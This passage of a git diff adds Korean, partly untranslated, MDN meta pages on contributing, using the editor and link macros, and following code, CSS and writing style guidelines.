  6. +
+
+

 

diff --git a/files/ko/mdn/contribute/index.html b/files/ko/mdn/contribute/index.html new file mode 100644 index 0000000000..530c096b40 --- /dev/null +++ b/files/ko/mdn/contribute/index.html @@ -0,0 +1,17 @@ +--- +title: MDN에 참여하기 +slug: MDN/Contribute +tags: + - MDN 메타 + - 가이드 + - 시작하기 + - 참고문서 +translation_of: MDN/Contribute +--- +
{{MDNSidebar}}
{{IncludeSubnav("/ko/docs/MDN")}}
+ +

환영합니다! 이 페이지를 방문함으로써 당신은 MDN의 공헌자가 되기 위한 한 발을 내딛으셨습니다! 아래의 가이드 목록은 스타일 가이드와, 저희의 에디터와 툴 사용설명서 등 MDN에 공헌하기 위한 모든 내용을 담고 있습니다. 페이지를 수정하거나 추가하기 전에 꼭 Mozilla 법적 고지를 읽고 숙지하시길 바랍니다.

+ +

아직 MDN에 기여해본 경험이 없다면 시작하기 가이드가 당신이 첫번째 기여할 일을 찾는데 도움이 될 것입니다.

+ +

{{LandingPageListSubPages()}}

diff --git a/files/ko/mdn/contribute/processes/index.html b/files/ko/mdn/contribute/processes/index.html new file mode 100644 index 0000000000..3e4e733a6a --- /dev/null +++ b/files/ko/mdn/contribute/processes/index.html @@ -0,0 +1,16 @@ +--- +title: 문서 작업 절차 +slug: MDN/Contribute/Processes +tags: + - MDN 메타 + - 시작하기 + - 프로세스 +translation_of: MDN/Contribute/Processes +--- +
{{MDNSidebar}}
{{IncludeSubnav("/ko/docs/MDN")}}
+ +
MDN 문서 프로젝트는 전세계의 수많은 공로자들의 도움으로 엄청난량의 기술 문서를 구축했습니다. 문서량이 많아서 생기는 혼란을 줄이기 위해서 문서 수정 시 지켜야 할 표준 절차를 마련했습니다. 다음 가이드를 참고하세요. 
+ +
 
+ +

{{LandingPageListSubPages()}}

diff --git a/files/ko/mdn/editor/index.html b/files/ko/mdn/editor/index.html new file mode 100644 index 0000000000..a327f0fd89 --- /dev/null +++ b/files/ko/mdn/editor/index.html @@ -0,0 +1,19 @@ +--- +title: MDN 에디터 UI 가이드 +slug: MDN/Editor +tags: + - Landing + - MDN +translation_of: MDN/Editor +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("ko/docs/MDN")}}
+ +

MDN 위키가 제공하는 위지윅(WYSIWYG) 에디터를 통해 새로운 컨텐츠에 쉽게 기여할 수 있습니다. 이 글은 에디터의 사용법과 작업 생산성을 향상시킬 수 있는 기능들에 대해 상세히 설명하고 있습니다. 새로운 페이지를 생성하거나 편집하기 전에 모질라의 법적고지를 읽고 여기에 따라주십시오.

+ +

MDN 스타일 지침을 통해 MDN이 지향하는 형식, 스타일, 선호하는 문법과 스펠링 규칙에 대해 자세히 알 수 있습니다.

+ +

{{LandingPageListSubpages}}

+ +

{{EditorGuideQuicklinks}}

diff --git a/files/ko/mdn/editor/links/index.html b/files/ko/mdn/editor/links/index.html new file mode 100644 index 0000000000..f6217db92c --- /dev/null +++ b/files/ko/mdn/editor/links/index.html @@ -0,0 +1,181 @@ +--- +title: Links +slug: MDN/Editor/Links +tags: + - MDN + - 가이드 + - 문서화 + - 에디터 +translation_of: MDN/Editor/Links +--- +
{{MDNSidebar}}
+ + + +
+

주목할 점: 특별히 링크시에 선호되는 작성방법이 있습니다;  MDN  작성 스타일 가이드에 설명되어 있습니다.

+
+ +

툴바 사용하기

+ +

링크를 만드는 가장 확실한 방법은 툴바의  "link" 버튼을 클릭하거나, Ctl+K (맥에서는 Command-K )를 누르는 것입니다. 링크 버튼은 이렇게 생겼습니다: The link button (as of 2015-12-04). 문자열 선택없이 링크 작성시에, 혹은 기존에 있는 문자열을 선택하여 링크 작성시에 이 기능을 이용할 수 있습니다.

+ +

문자열 선택없이 링크 작성하기

+ +

일단 링크 버튼을 클릭하면, 아래에 보이는 링크 에디터 다이얼로그로 진입합니다:

+ +

Screenshot of the Link dialog box, showing the Link Info tab

+ +

여기서 새로운 링크를 구성할 수 있습니다. 이 다이얼로그의 콘트롤은 다음과 같습니다:

+ +
+
링크 종류
+
생성중인 링크의 종류입니다. URL의 기본값은, MDN이든 오프사이트이든, 웹상 어딘가에 있는 URL입니다. 텍스트내의 앵커 (anchor)또는 "이메일"을 선택할 수도 있습니다. 앵커 링크 옵션은 툴바의 Anchor 버튼 으로 이전에 삽입된 anchor로의 링크를, 목록에서 골라서 생성할 수 있도록 합니다. 이메일 옵션은 받는사람의 이메일 주소와 제목 기본 메시지 콘텐츠를 입력하여 mailto: URL 이 구성되도록 합니다. 대부분의 경우 URL optin을 사용하게 될 겁니다.
+
문서 제목 찾기 / 링크 텍스트
+
이 필드는 두가지 목적을 수행합니다: 첫째는, 링크 대상으로 사용할 텍스트를 지정할 수 있습니다 (또는 대화 상자를 열기 전에 텍스트를 선택한 경우, 해당 텍스트가 이곳에 링크 대상으로 표시됩니다). 두번째로, 이 곳에 입력된 텍스트를 MDN내 등록된 문서와 대조하여 가능한 목적지 페이지를 찾아내는데 사용됩니다. 예를 들어, 이 박스안에 "Array"라고 타이핑하면, 아래와 같은 상황을 볼 수 있습니다:
+ Screenshot of the Link dialog box, showing a lookup menu for the text "Array"
+
+ +
+
Here, you can see a list of all the pages on MDN whose titles include the text you've typed. You can then scroll through the list and select one of those pages, or keep typing to narrow down the list. Note that the items in the list display their locale ("[en-US]" in this case). That text is not used in the link target text; it is there to help you ensure that you are linking to an article in the same locale as the one you are editing.
+
Attachments
+
Alternatively, you may make the link be a link to one of the files attached to the current page by selecting the attachment from this list. This is a great way to offer links to download code samples and the like.
+
URL
+
Finally, the URL field lets you actually directly enter the URL; it also shows the URL of whatever you've selected in either the Article Title Lookup or Attachments menus, if you've used those. A common practice is to paste URLs to pages you're working on elsewhere on MDN. If you link to another article on MDN, remove the domain name ("https://developer.mozilla.org") from the beginning of the URL, since that's implied.
+
+ +

Once the link is configured, click the OK button to insert it.

+ +
+

If you're paying attention, you'll see that there's a second tab—Advanced—in the link editor dialog. There are no options there that we advise you to use on a regular basis, at least at this time. It's possible that in the future there will be alternate styles for links, but we will likely add new toolbar widgets to use those features when they're available.

+
+ +

기존 텍스트에 링크 생성하기

+ +

If you have existing text that you'd like to turn into a link, you can simplify the process somewhat. Highlight the text you'd like to turn into a link before opening the link editor; this will pre-populate the Article Title/Lookup Text field with the selected text. For example, let's say we have the following text:

+ +
+

You may find it useful to use JavaScript arrays when working on this project.

+
+ +

We'd like to turn "arrays" into a link to the appropriate content. Just highlight that word and invoke the link editor; you'll get a pre-populated dialog similar to the previous case. By "hovering" your mouse over a suggested article, you can see its relative slug (its URL relative to developer.mozilla.org), which can give you a better idea of where it is located and what type of article it is.

+ +

Screenshot of the Link dialog box, showing a lookup menu and a URL tooltip

+ +

Here, of the articles suggested as possible matches. "Arrays" looks like a good choice, so we can choose that. This automatically fills in the URL field, so you can just click OK and the text gets turned into a link, like this:

+ +
+

You may find it useful to use JavaScript arrays when working on this project.

+
+ +

링크 매크로 사용하기

+ +

MDN은, 선택된 용어에 적절한 콘텐츠로의 링크가 자동적으로 생성되는 동시에 스타일 가이드에 맞게 링크가 생성되도록 하는 작업을 매크로에 크게 의존합니다. 이 예를 보세요: 우리의 스타일 가이드는 API 용어 이름, HTML 요소와 속성, CSS 속성, 함수 이름등이 {{HTMLElement("code")}} 형식을 권장한다( 사실상 그대로 되어야 합니다)라고 되어있습니다. 그것들은 또한 MDN상의 적절한 페이지로 링크가 연결되어있어야 합니다.

+ +

매크로를 이용하여 이런 링크들을 만드는 것은 익숙해지기에 약간 시간이 걸리지만 많은 장점이 있습니다:

+ + + +

이런 종류의 매크로가 많이 있으며, 여기서 모든 매크로를 다 보지는 않을 겁니다. 대신, 가장 일반적인  몇가지 특별한 예를 살펴볼 것입니다. 더 완벽한 목록은  MDN 커스텀 매크로 가이드의 "하이퍼링크 생성하기" 섹션을 보세요. 모든 매크로에 대해서 KumaScript 소스 코드를 확인할 수 있다는 점은 주목할만 합니다. 대부분의 경우 소스코드 상단에 작동 방식과 다양한 매개변수가 무엏인지 설명하는 주석이 있습니다.

+ +

API 문서에 링크걸기

+ +

We have a number of extremely helpful macros for creating styled links to APIs. Here are a few of the most useful ones; in each case, there may be added parameters available to give you more control over the output (such as suppressing the automatic addition of the <code> styling). Each macro name below can be clicked upon to read the macro code itself; they all have comments at the top explaining what they do and all of their parameters.

+ +
+
{{TemplateLink("HTMLElement")}}
+
Inserts an HTML element's name, properly styled and linked. For example: \{{HTMLElement("table")}} yields {{HTMLElement("table")}}.
+
{{TemplateLink("cssxref")}}
+
Inserts a CSS property, at-rule, or selector's documentation in the CSS reference. For example: \{{cssxref("background-color")}} results in {{cssxref("background-color")}}.
+
{{TemplateLink("domxref")}}
+
Inserts a link into the Web API Reference for a given API term. For example: \{{domxref("window")}} yields {{domxref("window")}} and \{{domxref("window.scrollBy()")}} inserts {{domxref("window.scrollBy()")}}. You can also supply an additional parameter to override the text: \{{domxref("window.scrollBy", "scrollBy()")}} results in {{domxref("window.scrollBy", "scrollBy()")}}.
+
{{TemplateLink("SVGElement")}}
+
Inserts an SVG element's name, properly styled and linked. For example: \{{SVGElement("circle")}} yields {{SVGElement("circle")}}.
+
+ +

동일 문서내 섹션에 링크걸기

+ +

To link to a section within the same article, you can use the {{TemplateLink("anch")}} macro. The syntax is straightforward: \{{anch("Name of destination section")}}. By default, the displayed link text is the title of that section, but you can add a second, optional, parameter indicating alternate text to use instead. Some examples:

+ + + +

버그에 링크걸기

+ +

You can link to a bug in Mozilla's Bugzilla database with the {{TemplateLink("bug")}} macro. This macro accepts a single parameter: the bug number to link to. For example, \{{bug(765642)}} looks like this: {{bug(765642)}}.

+ +

Similarly, you can create links to bugs in other browsers and Web engines:

+ +
+
WebKit (Safari, etc.)
+
{{TemplateLink("WebkitBug")}}: \{{webkitbug(31277)}} yields {{webkitbug(31277)}}.
+
+ +

RFCs 에 링크걸기

+ +

Much of the way the Internet works at a core level is documented in RFCs. You can easily reference RFCs using the {{TemplateLink("RFC")}} macro. For example, \{{RFC(2616)}} becomes {{RFC(2616)}}. You can, optionally, also provide alternate link text to use instead of a selected piece of text from the article or and/or the section number within the specification to which to link.

+ +

XPCOM 인터페이스 정보에 링크걸기 

+ +
+

The MDN staff no longer actively maintains the XPCOM documentation, but volunteer contributions are welcomel

+
+ +

If you're documenting Mozilla internals, being able to easily create links to XPCOM interface documentation is helpful. There are a few macros used for this.

+ +

The syntax for linking to the documentation for an XPCOM interface as a whole is just: \{{interface("interfacename")}}. For example, you might write:

+ +
+

When you need to parse or create URIs, the \{{interface("nsIIOService")}} interface can help.

+
+ +

The result looks like this:

+ +
+

When you need to parse or create URIs, the {{interface("nsIIOService")}} interface can help.

+
+ +

If you need to link to information about a specific method or attribute on an XPCOM interface, the {{TemplateLink("ifmethod")}} and {{TemplateLink("ifattribute")}} macros are for you. These accept as parameters the name of the interface and the name of the method or attribute to which you wish to reference. The {{TemplateLink("ifmethod")}} macro is particularly interesting, since it does some special formatting by adding the style guide-mandated parentheses after the method's name. For example, \{{ifmethod("nsIIOService", "newURI")}} results in {{ifmethod("nsIIOService", "newURI")}}. That's a case where you're being protected against possible changes in the style guide in the future!

+ +

Mozilla 설정 문서에 링크걸기

+ +

To insert the name of a Mozilla preference and make it link to the corresponding page in the Preference reference, use the {{TemplateLink("pref")}} macro. This accepts one parameter: the full name of the preference you wish to link to. For example, you can use \{{pref("javascript.options.showInConsole")}} to create this: {{pref("javascript.options.showInConsole")}}.

+ +

Mozilla 소스 파일에 링크걸기

+ +

You can link to files in Mozilla's source tree (although you probably won't do this often) using the {{TemplateLink("source")}} macro. Instead of specifying the full URL of the file, you can simply specify the path relative to the /source/ directory. For example: \{{source("browser/Makefile.in")}} creates this link: {{source("browser/Makefile.in")}}.

+ +

You may also, optionally, specify alternative text to use for the link. For example, you can use \{{source("browser/Makefile.in", "the browser's makefile")}} to get the result: {{source("browser/Makefile.in", "the browser's makefile")}}.

+ +
+

Please look at the {{anch("Using macros")}} documentation if you're interested in learning more about using macros, and check out our KumaScript documentation to learn more about the macro system itself.

+
+ +

추천 콘텐츠에 링크걸기

+ +

If you wish to create a list of related pages, or other recommended reading material, you should do so by creating a quicklinks box in the sidebar; this mechanism is replacing our old "See also" headings at the end of articles. For details on how to create quicklinks boxes, see Quicklinks.

+ +

URL 정책

+ +

For security reasons, you should only create links that use the following schemes:

+ + + +

Others may or may not work, but are not supported and will probably be removed by editorial staff.

+ +
+

Special URL schemes such as about: and chrome: are used by Firefox, Google Chrome, and some other browsers to provide access to special content such as preferences, debugging information, and so forth. These links do not work from article content, so please do not try to create links using these schemes within MDN articles. The same applies to the javascript: and jar: schemes, which are blocked by most modern browsers as a security precaution.

+
+ +

{{EditorGuideQuicklinks}}

diff --git a/files/ko/mdn/guidelines/best_practices/index.html b/files/ko/mdn/guidelines/best_practices/index.html new file mode 100644 index 0000000000..d8c5f2b247 --- /dev/null +++ b/files/ko/mdn/guidelines/best_practices/index.html @@ -0,0 +1,34 @@ +--- +title: 모범 사례 +slug: MDN/Guidelines/Best_practices +tags: + - Guide + - Guidelines + - MDN Meta +translation_of: MDN/Guidelines/Conventions_definitions +--- +
{{MDNSidebar}}

이 글은 MDN에서 추천하는 콘텐츠 작업 법을 설명합니다. 이 가이드라인은 더 나은 결과로 이끌 선호하는 일하는 법을 설명하거나 비슷한 일을 하는 여러 방법 중에서 결정에 조언을 제공합니다.

+ +

콘텐츠 복사하기

+ +

때때로, 여러 페이지에 같은 텍스트를 재사용해야 합니다 (또는 한 페이지의 콘텐츠를 다른 페이지를 위한 템플릿으로 사용하고 싶습니다). 세 가지 선택 사항이 있습니다:

+ + diff --git a/files/ko/mdn/guidelines/code_guidelines/code_guidelines/index.html b/files/ko/mdn/guidelines/code_guidelines/code_guidelines/index.html new file mode 100644 index 0000000000..093f50ae47 --- /dev/null +++ b/files/ko/mdn/guidelines/code_guidelines/code_guidelines/index.html @@ -0,0 +1,159 @@ +--- +title: 모든 코드에 대한 일반 가이드라인 +slug: MDN/Guidelines/Code_guidelines/Code_guidelines +tags: + - Code + - General + - Guide + - MDN Meta + - 가이드 + - 가이드라인 + - 코드 블럭 + - 코드 블록 + - 코드 스타일 +translation_of: MDN/Guidelines/Code_guidelines/General +--- +
{{MDNSidebar}}{{IncludeSubnav("/ko/docs/MDN")}}
+ +

아래 코드 예제 가이드라인에서 HTML, CSS, JavaScript 나 다른 어느 코드로 예로 들건 , 모든 코드 타입에 적용됩니다.

+ +

 이 문서 내용은

+ + + +

들여쓰기, 여백주기, 사이즈

+ +

들여쓰기

+ +

모든 코드는 2 스페이스로 들여쓰기 해야합니다. 예를 들면:

+ +
<div>
+  <p>This is my paragraph.</p>
+</div>
+ +
function myFunc() {
+  if(thingy) {
+    console.log('Yup, that worked.');
+  }
+}
+ +

코드 한 줄 길이

+ +

한 행의 코드는 최대 80자 (대화형 예제는 64자) 이내로 제한 되어야 합니다.  가독성을 위해 합리적으로 행을 분리 하는 것 좋지만 모범 사례를 벗어나지는 마십시오.

+ +

예를 들면, 아래는 안 좋은 예입니다.

+ +
let tommyCat = 'Said Tommy the Cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat. Many a fat alley rat had met its demise while staring point blank down the cavernous barrel of this awesome prowling machine.';
+ +

이것은 좀 낫지만, 그래도 여전히 좋지 않습니다:

+ +
let tommyCat = 'Said Tommy the Cat as he reeled back to clear whatever foreign '
++ 'matter may have nestled its way into his mighty throat. Many a fat alley rat '
++ 'had met its demise while staring point blank down the cavernous barrel of '
++ 'this awesome prowling machine.';
+ +

템플릿 리터럴을 사용하는 것이 더 좋습니다:

+ +
let tommyCat = `Said Tommy the Cat as he reeled back to clear whatever foreign
+  matter may have nestled its way into his mighty throat. Many a fat alley rat
+  had met its demise while staring point blank down the cavernous barrel of
+  this awesome prowling machine.`;
+ +

코드 블럭 높이

+ +

코드 블럭은 필요한 만큼 길어야 하지만 너무 길면 안됩니다. 15에서 25 라인 정도의 길이가 이상적입니다. 코드 블럭이 너무 길어진다면, 가장 유용한 스니펫만 보여주고, 나머지 부분은 깃허브 저장소나 코드펜 같은 링크로 연결하세요.

+ +

예제 디스플레이 가이드라인

+ +

렌더링 된 예제 크기

+ +

MDN 메인 콘텐츠 창은 데스크탑에서 약  700px 크기 이므로, 삽입된 MDN 예제는 ( 삽입된 예제를 100% 너비로 설정했을 때 ) 해당 너비에서 잘 보여야 합니다.

+ +

높이의 경우, 최대한의 화면 가독성을 위해 가능하면 렌더링 된 예제 높이를 700px 아래로 유지하는 것을 추천합니다.

+ +

모바일 디바이스에서도 예제가 잘 보이도록 어느 정도는 반응형으로 동작되도록 예제를 작성하는데 신경써야 합니다.

+ +

이미지나 다른 미디어의 사용

+ +

가끔 이미지나 다른 미디어를 예제에 삽입하고 싶을 때가 있습니다. 그럴 때에는:

+ + + +

컬러의 사용

+ +

소문자 16진수 대신, 음영이나 주요 컬러(즉, 검은색, 흰색, 빨간색)는 키워드를 사용할 수있습니다. 필요한 경우에만 좀 더 복잡한 컬러스킴을 사용하세요.( 예를 들면, 투명색이 필요할 때)

+ +

주요 "기본" 컬러는 키워드로 설정하는것이 좋습니다. 예를 들면:

+ +
color: black;
+color: white;
+color: red;
+ +

좀 더 복잡한 컬러는 rgb() 를 사용합니다. (반 투명 색 포함):

+ +
color: rgb(0, 0, 0, 0.5);
+color: rgb(248, 242, 230);
+ +

16진수 컬러를 사용해야 한다면, 소문자를 이용하세요:

+ +
color: #058ed9;
+color: #a39a92;
+ +

그리고 가능한 곳에는 단축형태를 사용하세요:

+ +
color: #ff0;
+color: #fff;
+ +

MDN's Fiori 가이드라인(프론트엔드 코드베이스용)은 전체 MDN 디자인에 사용된 유용한 컬러셋을 포함하고 있습니다. ( 역자주: 영어 원문 링크가 깨져 MDN Fiori 깃허브 리포 에서 비슷한 링크를 찾아 연결했습니다.)

+ +

좋은 예시와 나쁜 예시 강조

+ +

이 가이드라인에서 알 수 있는 것처럼, 좋은 실습예시는 연두색에 웃는얼굴로 강조되며, 나쁜 실습 예시는 슬픈표정에 빨간 바탕으로 강조됩니다.

+ +

이 처럼 하려면, MDN 에디터 콘트롤로 코드 블럭을 <pre> 블럭이 되도록 하고, 적절한 문법 강조를 설정해야 합니다. 소스 코드는 아래와 비슷하게 보일겁니다:

+ +
<pre class="brush: js">
+function myFunc() {
+  console.log('Hello!');
+};</pre>
+ +

이 상태에서 좋은 예시로 만들려면, class 속성의 오른쪽 따옴표 바로 앞에 example-good을 넣으면 됩니다:

+ +
<pre class="brush: js example-good">
+  ...
+ +

나쁜 예시로 만들려면, class 속성의 오른쪽 따옴표 바로 앞에 example-bad를 넣으면 됩니다:

+ +
<pre class="brush: js example-bad">
+  ...
+ +

우리는 당신이 이 기능을 사용하길 권장합니다. 모든 곳에 사용할 필요는 없습니다. 당신의 코드에서 좋은 예와 나쁜 예를 구분할 필요가 있을때 사용하세요.

+ +

레퍼런스 페이지에서 문법 섹션 작성

+ +

MDN 레퍼런스 페이지에는  JavaScript 메서드, CSS 속성, HTML 요소 등과 같이 기능의 구문이 무엇을 할 수 있고, 어때야 하는지 명확하게 보여주는 문법 섹션(Syntax section)이 포함되어 있습니다. 이 내용을 작성하는 가이드라인은 Syntax sections 문서를 참고하세요.

diff --git a/files/ko/mdn/guidelines/code_guidelines/css/index.html b/files/ko/mdn/guidelines/code_guidelines/css/index.html new file mode 100644 index 0000000000..cbcbd11ae8 --- /dev/null +++ b/files/ko/mdn/guidelines/code_guidelines/css/index.html @@ -0,0 +1,249 @@ +--- +title: CSS 가이드라인 +slug: MDN/Guidelines/Code_guidelines/CSS +translation_of: MDN/Guidelines/Code_guidelines/CSS +--- +
{{MDNSidebar}}{{IncludeSubnav("/en-US/docs/MDN")}}
+ +

다음 가이드라인은 MDN code 예제를 위한 CSS 작성 방법을 설명합니다.

+ +

이번 기사에서는

+ + + +

High-level guidelines

+ +

Don't use preprocessors

+ +

Don't use preprocessor syntax, e.g. Sass, Less, or Stylus, in your MDN example code. MDN documents the vanilla CSS language, and using preprocessors only serves to raise the bar to understanding the examples, potentially confusing readers.

+ +

Don't use specific CSS methodologies

+ +

In the same spirit as the previous guideline, don't write MDN example code using a specific CSS methodology such as BEM or SMACSS. Even though they are valid CSS syntax, the naming conventions can be confusing to people not familiar with those methodologies.

+ +

Use flexible/relative units

+ +

For maximum flexibility over the widest possible range of devices, it is a good idea to size containers, padding, etc. using relative units like ems and rems, or percentages and viewport units if you want them to vary depending on viewport width. You can read some more about this in our Responsive design building blocks article.

+ +

Don't use resets

+ +

For maximum control over CSS across platforms, a lot of people used to use CSS resets to remove every style, before then building things back up themselves. This certainly has its merits, but especially in the modern world CSS resets can be overkill, resulting in lots of extra time spent reimplementing things that weren't completely broken in the first place, like default margins, list styles, etc.

+ +

If you really feel like you need to use a reset, consider using normalize.css by Nicolas Gallagher, which aims to just make things more consistent across browsers, get rid of some default annoyances that we always remove (the margins on <body>, for example) and fix a few bugs.

+ +

Plan your CSS — avoid overriding

+ +

Before diving in and writing huge chunks of CSS, plan your styles carefully. What general styles are going to be needed, what different layouts do you need to create, what specific overrides need to be created, and are they reusable? Above all, you need to try to avoid too much overriding. If you keep finding yourself writing styles and then cancelling them again a few rulesets down, you probably need to rethink your strategy.

+ +

General CSS coding style

+ +

Use expanded syntax

+ +

There are a variety of CSS writing styles you can use, but we prefer the expanded style, with the selector/opening brace, close brace, and each declaration on a separate line. This maximizes readability, and again, promotes consistency on MDN.

+ +

Use this:

+ +
p {
+  color: white;
+  background-color: black;
+  padding: 1rem;
+}
+ +

Not this:

+ +
p { color: white; background-color: black; padding: 1rem; }
+ +

In addition, keep these specifics in mind:

+ + + +

Favor longhand rules over terse shorthand

+ +

Usually when teaching the specifics of CSS syntax, it is clearer and more obvious to use longhand properties, rather than terse shorthand (unless of course teaching the shorthand is the point of the example). Remember that the point of MDN examples is to teach people, not to be clever or efficient.

+ +

To start with, it is often harder to understand what the shorthand is doing. It takes a while to pick apart exactly what {{cssxref("font")}} syntax is doing, for example:

+ +
font: small-caps bold 2rem/1.5 sans-serif;
+ +

Whereas this is more immediate in terms of understanding:

+ +
font-variant: small-caps;
+font-weight: bold;
+font-size: 2rem;
+line-height: 1.5;
+font-family: sans-serif;
+ +

Second, CSS shorthand comes with potential added pitfalls — default values are set for parts of the syntax that you don't explicitly set, which can produce unexpected resets of values you've set earlier in the cascade, or other expected effects. The {{cssxref("grid")}} property for example sets all of the following default values for items that are not specified:

+ + + +

In addition, some shorthands only work as expected if you include the different value components in a certain order. In CSS animations for example:

+ +
/* duration | timing-function | delay | iteration-count
+   direction | fill-mode | play-state | name */
+animation: 3s ease-in 1s 2 reverse both paused slidein;
+ +

As an example, the first value that can be parsed as a <time> is assigned to the animation-duration, and the second one is assigned to animation-delay. For more details, read the full animation syntax details.

+ +

Use double quotes around values

+ +

Where quotes can or should be included, use them, and use double quotes. For example:

+ +
[data-vegetable="liquid"] {
+  background-color: goldenrod;
+  background-image: url("../../media/examples/lizard.png");
+}
+ +

Spacing around function parameters

+ +

Function parameters should have spaces after their separating commas, but not before:

+ +
color: rgb(255, 0, 0);
+background-image: linear-gradient(to bottom, red, black);
+ +

CSS comments

+ +

Use CSS-style comments to comment code that isn't self-documenting:

+ +
/* This is a CSS-style comment */
+ +

Put your comments on separate lines preceeding the code they are referring to:

+ +
h3 {
+  /* Creates a red drop shadow, offset 1px right and down, w/2px blur radius */
+  text-shadow: 1px 1px 2px red;
+  /* Sets the font-size to double the default document font size */
+  font-size: 2rem;
+}
+ +

Also note that you should leave a space between the asterisks and the comment, in each case.

+ +

Don't use !important

+ +

!important is a last resort generally only used when you need to override something and there is no other way. It is a bad practice and you should avoid it wherever possible.

+ +

Bad:

+ +
.bad-code {
+  font-size: 4rem !important;
+}
+ +

Specific CSS syntax points

+ +

Turning off borders and other properties

+ +

When turning off borders (and any other properties that can take 0 or none as values), use 0 rather than none:

+ +
border: 0;
+ +

Use "mobile first" media queries

+ +

When including different sets of styles for different target viewport sizes using media queries inside the same stylesheet, it is a good idea to make the default styling before any media queries have been applied to the document the narrow screen/mobile styling, and then override this for wider viewports inside successive media queries.

+ +
/*Default CSS layout for narrow screens*/
+
+@media (min-width: 480px) {
+  /*CSS for medium width screens*/
+}
+
+@media (min-width: 800px) {
+  /*CSS for wide screens*/
+}
+
+@media (min-width: 1100px) {
+  /*CSS for really wide screens*/
+}
+ +

This has many advantages, outlined in our Mobile First article.

+ +

Selectors

+ +

Don't use ID selectors

+ +

There is really no need to use ID selectors — they are less flexible (you can't add more if you discover you need more than one), and are harder to override if needed, being of a higher specificity than classes.

+ +

Good:

+ +
.editorial-summary {
+  ...
+}
+ +

Bad:

+ +
#editorial-summary {
+  ...
+}
+ +

Put multiple selectors on separate lines

+ +

When a rule has multiple selectors, put each selector on a new line. This makes the selector list easier to read, and can help to make code lines shorter.

+ +

Do this:

+ +
h1,
+h2,
+h3 {
+  font-family: sans-serif;
+  text-align: center;
+}
+ +

Not this:

+ +
h1, h2, h3 {
+  font-family: sans-serif;
+  text-align: center;
+}
+ +

Good CSS examples on MDN

+ +

You can find good, concise, meaningful CSS snippets at the top of our CSS property reference pages — browse through our CSS keyword index to find some. Our interactive examples are generally written to follow the above guidelines, although be aware that they may differ in some places as they were mostly written before the guidelines were newly written.

diff --git a/files/ko/mdn/guidelines/code_guidelines/index.html b/files/ko/mdn/guidelines/code_guidelines/index.html new file mode 100644 index 0000000000..3ce931004f --- /dev/null +++ b/files/ko/mdn/guidelines/code_guidelines/index.html @@ -0,0 +1,80 @@ +--- +title: Code example guidelines +slug: MDN/Guidelines/Code_guidelines +tags: + - CSS + - Code + - Guide + - Guidelines + - HTML + - JavaScript + - MDN Meta + - NeedsTranslation + - Shell + - TopicStub +translation_of: MDN/Guidelines/Code_guidelines +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/MDN")}}
+ +
+

This document series outlines the coding guidelines and best practices we use for writing demos, code snippets, interactive examples, etc, for use on MDN.

+ +

If you are looking for guidelines to follow when writing your code examples, you have come to the right place. The biggest advantage to adhering to these guidelines is that it will foster consistency across our samples and demos on MDN, which increases readability and comprehension overall.

+
+ +
+

Note: If you want advice on the styling of code as it appears on an MDN article, rather than the code content, see our Writing style guide.

+
+ +

Article structure

+ +

This article contains general high-level best practices for writing MDN code examples. Its subarticles are as follows:

+ + + +

General best practices

+ +

This section provides quick general best practices for creating an understandable minimal code sample to demonstrate usage of a specific feature or function.

+ +

Code samples need to be:

+ + + +

There is one overarching consideration that you need to keep in mind: Readers will copy and paste the code sample into their own code, and may put it into production.

+ +

Therefore, you need to make sure that the code example is usable and follows generally accepted best practices, and does not do anything that will cause an application to be insecure, grossly inefficient, bloated, or inaccessible. If the code example is not runnable or production-worthy, be sure to include a warning in a code comment and in the explanatory text — if it is a snippet and not a full example, make this clear. This also means that you should provide all of the information necessary to run the example including any dependencies and setup.

+ +

Code samples should be as self-contained and easy to understand as possible. The aim is not necessarily to produce efficient, clever code that impresses experts and has great functionality, but rather to produce reduced working examples that can be understood as quickly as possible.

+ + + +
Guidelines:
+ +
 
+ +
+ +
+ + diff --git a/files/ko/mdn/guidelines/index.html b/files/ko/mdn/guidelines/index.html new file mode 100644 index 0000000000..d87bfe197c --- /dev/null +++ b/files/ko/mdn/guidelines/index.html @@ -0,0 +1,14 @@ +--- +title: 가이드라인 +slug: MDN/Guidelines +tags: + - MDN 메타 + - 가이드라인 + - 시작하기 +translation_of: MDN/Guidelines +--- +
{{MDNSidebar}}
{{IncludeSubNav("/ko/docs/MDN")}}
+ +

이 안내서는 코드 샘플 및 다른 콘텐츠가 보여야 하는 법뿐만 아니라 MDN 문서가 작성되고 형식을 갖추는 법에 대한 세부 정보를 제공합니다. 이 안내서를 따름으로써, 당신의 생산물이 깨끗하고 사용하기 쉽다는 것을 보장할 수 있습니다.

+ +

{{LandingPageListSubpages}}

diff --git a/files/ko/mdn/guidelines/style_guide/index.html b/files/ko/mdn/guidelines/style_guide/index.html new file mode 100644 index 0000000000..507f30e228 --- /dev/null +++ b/files/ko/mdn/guidelines/style_guide/index.html @@ -0,0 +1,833 @@ +--- +title: MDN 스타일 가이드 +slug: MDN/Guidelines/Style_guide +tags: + - Documentation + - Guide + - MDN + - MDN Meta + - MDN 스타일 가이드 + - 스타일 가이드 + - 스타일 가이드 작성 +translation_of: MDN/Guidelines/Writing_style_guide +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/ko/docs/MDN")}}
+ +

정돈되고 일관적이며 읽기 쉬운 문서를 제공하고자, MDN 웹 문서 스타일 안내서는 글의 정렬, 철자, 서식 방법 등을 정리합니다. 이 가이드는 엄격한 규칙이라기보다 가이드라인입니다. 우리는 형식보다는 내용에 더 관심이 있습니다. 그러니 기여하기 전에 스타일 가이드를 배워야 한다는 부담을 느끼시지 않아도 됩니다. 하지만 나중에 다른 부지런한 지원자가 이 가이드를 따라 당신의 작업물을 편집할 수 있습니다. 만약 그런 일이 벌어지더라도 화내거나 놀라지 마세요.

+ +

이 가이드의 언어적 측면의 내용은 영문을 위주로 작성되었습니다. 기타 다른 언어는 언어만의 고유한 스타일 가이드를 가질 수 있으며, 새롭게 만드는 것도 좋습니다. 이 페이지들은 지역화 팀 페이지의 하위 페이지로 생성되어야 합니다.

+ +

MDN이 아닌 다른 사이트를 위해 쓰여진 콘텐츠를 적용하는 스타일 표준에 대한 내용은 One Mozilla 스타일 가이드를 참고하세요.

+ +

기본

+ +

아무리 방대한 문서화 스타일 가이드라도 가장 기본적인 텍스트 표준에서 시작하는 것이 좋습니다. 텍스트 표준은 일관된 문서화를 유지하는데 도움을 줍니다. 이어지는 섹션에서 도움이 될 만한 이런 기본들을 설명합니다.

+ +

